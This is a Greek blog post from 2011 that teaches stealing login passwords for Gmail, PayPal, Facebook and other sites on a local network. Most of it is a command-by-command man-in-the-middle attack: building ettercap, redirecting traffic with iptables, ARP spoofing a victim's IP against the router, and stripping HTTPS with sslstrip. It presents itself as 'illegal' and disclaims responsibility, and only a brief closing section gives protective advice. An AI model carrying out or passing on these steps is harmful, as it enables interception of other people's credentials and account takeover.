ΠΡΟΣΟΧΗ

Προσοχή! Οι οδηγοί μου είναι μόνο για εκπαιδευτικούς σκοπούς,
εφαρμόζοντας τους κακόβουλα σε τρίτους είναι με δικιά σας ευθύνη καθώς ορισμένοι απο αυτούς είναι παράνομοι

Σάββατο, 17 Δεκεμβρίου 2011

Πως κλεβω κωδικους απο Gmail.Paypal,Yahoo.Twitter,Facebook,Hotmail κτλ


Προσοχη αυτος ο οδηγος ειναι εντελως παρανομος καθως θα μπορειτε να κλεψετε οτι κωδικο θελετε ΔΕΝ ΕΥΘΥΝΟΜΑΙ για κακοβουλη χρηση του

Τι θα χρειαστειτε;

1.Backtrack 5 R1
2.ettercap Lazarous


                                                  Εισαγωγη
Πολλες φορες θα εχετε δει αυτη την εικονα καθως αλλαζετε σελιδες

αυτο συμβαινει γιατι καποιος αλλος κακοβουλα προσπαθει να υποκλεψει τις πληροφοριες σας.
*Αν προσπαθησετε να κλεψετε κωδικους μονο με το ettercap
στον χρηστη θα εμφανιζετε αυτη η εικονα και αν θελει μπορει να πατησει εξαιρεση ,να πληκτρολογισει τον κωδικο του και να σταλθει σε εσας, ομως πχ στο facebook καθως μπενει ενα εκατομυριο φορες την ημερα οταν του εμφανιστει αυτη η εικονα τοτε θα υποψιαστει οτι κατι δεν παει καλα οποτε  η επιθεση δεν ειναι 100% αποτελεσματικη....
-αρχιζουμε-
-πατηστε εδω Ettercap-lazarous
-μετα ανοιξτε ενα τερματικο και γραψτε αυτο tar -xzf ettercap-0.7.4.tar.gz 
-μετα πατηστε εδω libnet for ettercap lazarous
-μετα γραψτε στο τερματικο tar -xzf libnet-1.1.2.1.tar.gz
-μετα cd libnet
-./configure
-make
-make install 
-apt-get install libgtk2.0-dev libpango1.0-dev
-cd ettercap
-./configure 
-make
-make install
-τωρα αφου εχουμε τελειωσει με την εγκατασταση 
-γραφουμε στο τερματικο παλι  echo 1 > /proc/sys/net/ipv4/ip_forward
-iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
-arpspoof -i wlan0 -t 192.168.1.73 192.168.1.254 οπου -t την ip του θυματος και μετα την ip του router 192.168.1.254 *για να βρειτε την ip του θυματος ανοιξτε ενα τερματικο και γραψτε netdiscover -i wlan0
- μετα ανοιγουμε ενα αλλο τερματικο ettercap -T -q -i wlan0
- και παλι ενα αλλο τερματικο και sslstrip -a -k -f
- Τωρα περιμενουμε να μας εμφανιστουνε οι κωδικοι της σελιδας που θα συνδεθει το θυμα καθως δεν θα του εμφανιστει ειδοποιηση ασφαλειας

Πως θα προστατευτειτε;

1.Πανω αριστερα στην url της σελιδας πρεπει να λεει https και να εχει ενα εικονιδιο κλειδαριας και οχι αυτο  :

2.Καντε εγκατασταση το Https Everywhere https-everywhere





 

Δεν υπάρχουν σχόλια: